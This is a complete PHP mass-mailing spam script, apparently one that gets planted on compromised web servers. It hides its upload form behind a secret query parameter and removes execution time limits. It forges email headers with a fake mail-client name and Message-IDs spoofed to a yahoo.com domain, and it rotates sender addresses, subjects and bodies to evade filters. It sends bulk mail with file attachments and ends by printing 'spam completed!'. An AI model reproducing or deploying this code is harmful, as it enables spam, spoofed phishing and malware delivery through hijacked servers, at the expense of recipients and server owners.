<?php
@ob_implicit_flush(FALSE);
while ( @ob_get_level() ) {@ob_end_clean();} @ob_end_clean();

if( !function_exists("ob_start") )         {exit('not exist ob_start');}
if( !function_exists("ob_end_clean") )     {exit('not exist ob_end_clean');}
if( function_exists ("mail")==false )      {exit('mail err');}
if( function_exists ("header")==false )    {exit('not exist header');}
if( ob_start()==false )                    {exit('not start ob_start');}

header("Content-Encoding: none",true);
header('Connection: close',true);

echo("<!--");


if( function_exists ("set_time_limit") )   {@set_time_limit(300);}                       else{echo ("set_time_limit ");}
if( function_exists ("ini_set") )          {@ini_set('max_execution_time',300);}         else{echo ("ini_set max_execution_time ");}
if( function_exists ("ini_set") )          {@ini_set('set_time_limit',300);}             else{echo ("ini_set set_time_limit ");}
if( function_exists ("ignore_user_abort") ){@ignore_user_abort(true);}                   else{exit("ignore_user_abort ");}
if( function_exists ("apache_setenv") )    {@apache_setenv('ignore_user_abort', 0);}
if( function_exists ("apache_setenv") )    {@apache_setenv('no-gzip', 1);}
if( function_exists ("ini_set") )          {@ini_set('zlib.output_compression', 'Off');} else{echo ("ini_set zlib ");}

echo("--!>");

$mailCR=chr(13).chr(10);

if( function_exists("mail") )             {echo('<!--good--!>'.chr(13).chr(10));}

$rndshum= "&#161;&#162;&#163;¤&#165;¦§&#168;©&#170;«¬®&#175;°±&#178;&#179;&#180;µ¶·&#184;&#185;&#186;»&#188;&#189;&#190;&#191;&#710;&#711;&#713;&#728;&#729;&#730;&#731;&#732;";

if(!function_exists('stripos')) {
 function stripos($haystack, $needle, $offset = 0) {
  if ( $offset<0 )                   {$offset=0;}
  if ( $offset>strlen($haystack-1) ) {$offset=strlen($haystack-1);}
  return strpos(strtolower($haystack), strtolower($needle), $offset);
 }
}

function get_sec()
{
  list ($usec, $sec) = explode(" ", microtime());
  return ( (float)$sec );
}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function sendemail($from,$to,$subject,$message,$type,$hscs){
  global $attach, $base_name, $isfile;
  global $mailCR;
  $sep = $mailCR;
  $arrfirstw = array("Voi", "Per", "Per voi", "Di","Loro", "Suo", "Lui");
  $firstw =    $arrfirstw[rand(0,count($arrfirstw)-1)];
  $bound = md5($from.$to);

  //$headers = "Content-type: text/plain; charset=\"windows-1252\"";
  $headers = "From: ".$from."<".$from.">".$sep;
  $headers.= "To: ".$to.$sep;
  $headers.= "Subject: ".$firstw.": ".$to." ".$subject.$sep;
  $headers.= "X-Mailer: The Bat! (v3.".rand(1,99).".".rand(1,19).") Professional".$sep;
  $headers.= "Reply-To: ".$from.$sep;
  $headers.= "Mime-Version: 1.0".$sep;
  $headers.= "Date: ".date("D, j M Y G:i:s")." +0100".$sep;
  if ($hscs!=''){ $headers.= "X-Hashcash: ".$hscs.$sep; }
  $headers.= "X-Sender: <" . $from . ">".$sep;
  $headers.= "X-Priority: ".rand(2,4).$sep;
  $headers.= "Message-ID: <".md5($from.".".$to.".".$subject)."@yahoo.com>".$sep;
  $headers.= "Content-Transfer-Encoding: 8bit".$sep;
  $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep;

  $body = '--'.$bound.$sep;
  switch($type){
    case 'text':
      $body.= "Content-type: text/plain; charset=\"windows-1252\"".$sep;break;
    case 'html':
      $body.= "Content-type: text/html; charset=\"windows-1252\"".$sep;break;
   }

   $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep;
   $body.= $firstw.": ".$to." ".$subject." ".$message.$sep;

   for($a=0;$a<count($attach);$a++) {
     if($isfile == 1){
          $body.= $sep."--".$bound.$sep;
          $body.= "Content-Type: application/octet-stream;";
          $body.= " name=\"".basename($base_name[$a])."\"".$sep;
          $body.= "Content-Transfer-Encoding: base64".$sep;
          $body.= "Content-Disposition: attachment;";
          $body.= " filename=\"".basename($base_name[$a])."\"".$sep.$sep;
          $body.= $attach[$a].$sep;
        }
   }
   $body.= "--".$bound."--";

    if(mail($to, $firstw.": ".$to." ".$subject , $body , $headers )){return true;}
    else{
      $subject= substr(trim(str_replace("\r", "", $subject)),0,40);
      $body=    trim(str_replace("\r", "", $body ));
      $headers= trim(str_replace("\r", "", $headers));   
      if(mail($to, "Per: ".$to." ".$subject , $body , $headers )){$mailCR=chr(10);return true;}
      else
      {return false;}
    }

}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if ( (@$_GET['hz'])and(isset($_POST['mode'])===false) ){
 reset ($_POST);
 /////////////////////////////////////////////////////
 echo('
      <html>
      <head>
      <title>Mail</title>
      <style type="text/css">
      body {font-family: Arial, Helvetica, sans-serif;font-size: 11px;} td {font-family: Arial, Helvetica, sans-serif;font-size: 11px;}
      h1 {font-family: Arial, Helvetica, sans-serif;font-size: 16px; color:#72BA75; } a {font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #000000;text-decoration: underline;}
      a:hover{font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #294A7B;text-decoration: none;}
      .buttona {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px;padding:0px;height: 21px;font-family:Tahoma;width:100px;}
      INPUT.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px;height: 18px; font-family:Arial;width:200px;}
      textarea.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px; font-family:Arial;height:100px;width:564px;}
      .tdheader {width:100px;}
      </style>
      <script type="text/javascript">
      function cleared() {
        var name_input = document.getElementById("fname1")
        name_input.value=""
        var name_input = document.getElementById("fname2")
        name_input.value=""
        var name_input = document.getElementById("fname3")
        name_input.value=""
      }


      function listfrom() {
       var subjtype = document.getElementById("fromtext")
       var subjtype2 = document.getElementById("fromlist")
       if(subjtype.disabled == true) {
        subjtype.disabled = false
        subjtype2.disabled = true
       } else {
        subjtype2.disabled = false
        subjtype.disabled = true
       }
      }

      function listmessage() {
       var subjtype = document.getElementById("messagetext")
       var subjtype2 = document.getElementById("messagelist")
       if(subjtype.disabled == true) {
        subjtype.disabled = false
        subjtype2.disabled = true
       } else {
        subjtype2.disabled = false
        subjtype.disabled = true
       }
      }

      function listsubject() {
       var subjtype = document.getElementById("singlesubj")
       var subjtype2 = document.getElementById("listsubj")
       if(subjtype.disabled == true) {
        subjtype.disabled = false
        subjtype2.disabled = true
       } else {
        subjtype2.disabled = false
        subjtype.disabled = true
       }
      }
      </script>
      </head>
      <body>
      <div align="center">
      <table align="center" width=800 border=0>
      <tr>
      <td>
      <table align="left"><form method="post" enctype="multipart/form-data">
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>From (Email):</strong><br />Single:<input type="radio" value=\'single\' onclick="listfrom()" name=\'fromtype\' checked></td>
        <td><input type="Text" class="inp" name="from" value="" size="30" id="fromtext"> * - email only</td>
      </tr>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>From (Email):</strong><br />List:<input type="radio" value=\'list\' onclick="listfrom()" name=\'fromtype\'></td>
        <td><input type="File" name="fromlist" id="fromlist" class="inp" size="68" disabled></td>
      </tr>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>To:</strong></td>
        <td><input type="File" name="to" class="inp" size="68"></td>
      </tr>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Subject</strong><br />Single:<input type="radio" value=\'single\' onclick="listsubject()" name=\'subjtype\' checked></td>
        <td><input type="Text" class="inp" name="subject" value="" size="30" id="singlesubj"> * - subject only</td>
      </tr>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Subject</strong><br />List:<input type="radio" value=\'list\' onclick="listsubject()" name=\'subjtype\'></td>
        <td><input type="File" name="subject"  id="listsubj" class="inp" size="68" disabled></td>
      </tr>
      </table>
      </td>
      </tr>
      <tr>
      <td>
      <table align="left">
      <tr>
        <td valign="top" align="right" bgcolor="#EBEBEB" class=tdheader><strong>Message:</strong><br />Single: <input type="radio" value=\'single\' onclick="listmessage()" name=\'mestype\' checked></td>
        <td><textarea name="message" class="inp" id="messagetext"></textarea></td>
      </tr>
      <tr>
        <td valign="top" align="right" bgcolor="#EBEBEB" class=tdheader><strong>Message:</strong><br />List: <input type="radio" value=\'list\' name=\'mestype\' onclick="listmessage()"></td>
        <td><input type="File" name="messagelist" id="messagelist" class="inp" size="68" disabled></td>
      </tr>
      </table>
      </td>
      </tr>
      <tr>
      <td>
      <table align="left" border=0 width=100%>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Attach:</strong></td>
        <td><input type="File" name="filename[]" id="fname1" class="inp" size="68"></td>
      </tr>
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Attach:</strong></td>
        <td><input type="File" name="filename[]" id="fname2" class="inp" size="68"></td>
      </tr>
      <tr>
       <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Attach:</strong></td>
       <td><input type="File" name="filename[]" id="fname3" class="inp" size="68"></td>
      </tr>
      <tr>
       <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Empty:</strong></td>
       <td><input type="button" class="buttona" value="empty attach" onclick="cleared()"></td>
      </tr>
      </table>
      </td>
      </tr>
      <tr>
      <td>
      <table align="left">
      <tr>
        <td align="right" bgcolor="#EBEBEB" class=tdheader><strong>Format</strong></td>
        <td width=564>

      <table width="100%" border=0>
      <tr>
        <td width="20"><input class="inp" type="Radio" name="type" value="text" checked></td>
        <td width="40">text&nbsp;&nbsp;&nbsp;&nbsp;</td>
        <td width="20"><input class="inp" type="Radio" name="type" value="html"></td>
        <td width="40">html</td>
        <td width="40"></td>
        <td align="right"><input type="Hidden" name="mode" value="send"><input type="Submit" class="buttona" value="send"></td>
      </tr>
      </table>

      </td>
      </tr>
      </table>
      </form>
      </td></tr></table>
      </div>
      </body>
      </html>
');
  /////////////////////////////////////////////////////
  $length = ob_get_length();
  if($length>0){
    header("Content-Type: text/html",true);
    header('Connection: close',true);
    header("Content-Length: " . $length,true);
    header("Content-Encoding: none",true);
    header("Accept-Ranges: bytes",true);
    while (ob_end_flush());
    ob_flush();
    flush();
  }
}

else

{
  $mode= $_POST['mode'];
  echo('start '.$mode);
  $gtnum= '=';
  $gtnum= $_POST['gtnum'];

  switch($mode) {
  case 'send':
    {

    /////////////////////////////////////////////////////////////////////
    if(isset($_FILES['filename']['tmp_name'])){
    $attach = '';
    for($h=0;$h<count($_FILES['filename']['name']);$h++) {
    if(empty($_FILES['filename']['name'][$h])) {continue;}
        $base_name[$h]= $_FILES['filename']['name'][$h];
        $f= fopen($_FILES['filename']['tmp_name'][$h],"rb");
        $attach[$h]= chunk_split(base64_encode(fread($f,filesize($_FILES['filename']['tmp_name'][$h]))));
        echo(" add file<br>\n");
	$isfile= 1;
      }
    }
    else {$isfile = 0;}


    if($_POST['fromtype']== 'single') {$fromname= trim(htmlspecialchars(@$_POST['from'])); $listf= 0;}
    if($_POST['fromtype']== 'list')   {
        $listf= 1;
        $msgfile= file($_FILES['fromlist']['tmp_name']);
        echo(' add back addr:'.count($msgfile)." <br>\n");
    }
    if(isset($fromname)) {$from= trim($fromname);}


    $subjtype= $_POST['subjtype'];
    if($subjtype== 'list') {$subject= file(@$_FILES['subject']['tmp_name']); echo(' add file subjects: '.count($subject)." <br>\n");}
      else {$subjtext= htmlspecialchars($_POST['subject']);}


    $type= $_POST['type'];
    echo(' type: '.$type.' ');


    if($_POST['mestype']== 'single') {$message= trim(htmlspecialchars($_POST['message']));$listm= 0;}
    if($_POST['mestype']== 'list') {
      if(isset($_FILES['messagelist']['tmp_name'])) {
      	$messagelist= file_get_contents($_FILES['messagelist']['tmp_name']);
        $crc_texts= crc32($messagelist);
      	$messagearr = explode("###",$messagelist);
        echo(" texts: ".count($messagearr));
      	$listm= 1;
      	$message= "list!";
      } else {
        die('message file not found!');
      }
    }
    if($type== 'text'){$message=  trim($message);$crc_texts= crc32($message);}
    if(!$message) {echo("empty message"); exit;}


    $to_arr= file(@$_FILES['to']['tmp_name']);
    echo("to: ".count($to_arr));


    $num_send = 0;
    $num_error= 0;
    $to_arrlen= count($to_arr);

    $i= 0;
    $time_start= get_sec;
    $time_end=   get_sec;


    while( ($i<$to_arrlen)AND(($time_end-$time_start)<600) ){
      srand(crc32(trim($to_arr[$i])+"::"+$crc_texts+"::"+$i));

      if (($num_error>20)and($num_send<40)){echo("num_error>33%");break;}

      if(is_array($subject)) {
        $r= rand(0,count($subject)-1);
        $lsubject= trim(htmlspecialchars($subject[$r]));
      } else {
        $lsubject= trim(htmlspecialchars($subjtext));
      }

      if($listf== 1) {
        $fr= rand(0,count($msgfile)-1 );
        $from= trim(htmlspecialchars($msgfile[$fr]));
      }

      $to_a=''; $hscs=trim($to_arr[$i]);

      $pos = strpos($hscs, '>>');
      if ($pos === false) {
        $to_a = trim($hscs);$hscs= '';//echo('no --');
      }else{
        if ($pos>0){$to_a = trim(substr($hscs, 0, $pos));}else{$to_a = trim(substr($hscs, 0));} //echo('A --'.$Hscs);
        $hscs = trim(substr($hscs, $pos+2)); //echo('H --'.$Hscs);
      }
 
      if ($to_a!=''){

        if($listm== 1) {
          $t= rand(0,count($messagearr)-1 );
          $newmsg= trim(htmlspecialchars($messagearr[$t]));

          if ($i>($to_arrlen-3)) {$lsubject = $gtnum.' - '.$i.' - '.$lsubject;}

          if (sendemail($from,$to_a,$lsubject,trim($newmsg),$type,$hscs)){$num_send++;}
            else{$num_error++;}
        } else {
          if(sendemail($from,$to_a,$lsubject,trim($message),$type,$hscs)){$num_send++;}
            else{$num_error++;}
        }
      }

     $i=$i+1;$time_end= get_sec;
   }//while


    echo('<hr size="1" color="#000000">spam completed!<br>'."\n");
    echo("<br>\n".'
      <b>sent  : '.$num_send.'</b>
      <b>errors: '.$num_error.'</b>
      <hr size="1" color="#000000">
    ');
    /////////////////////////////////////////////////////////////////////
    }
  default:
  break;
  }

  $length = ob_get_length();
  if($length>0){
    header("Content-Type: text/plain",true);
    header('Connection: close',true);
    header("Content-Length: " . $length,true);
    header("Content-Encoding: none",true);
    header("Accept-Ranges: bytes",true);
    while (@ob_end_flush());
    @ob_flush();
    @flush();
  }
}
?>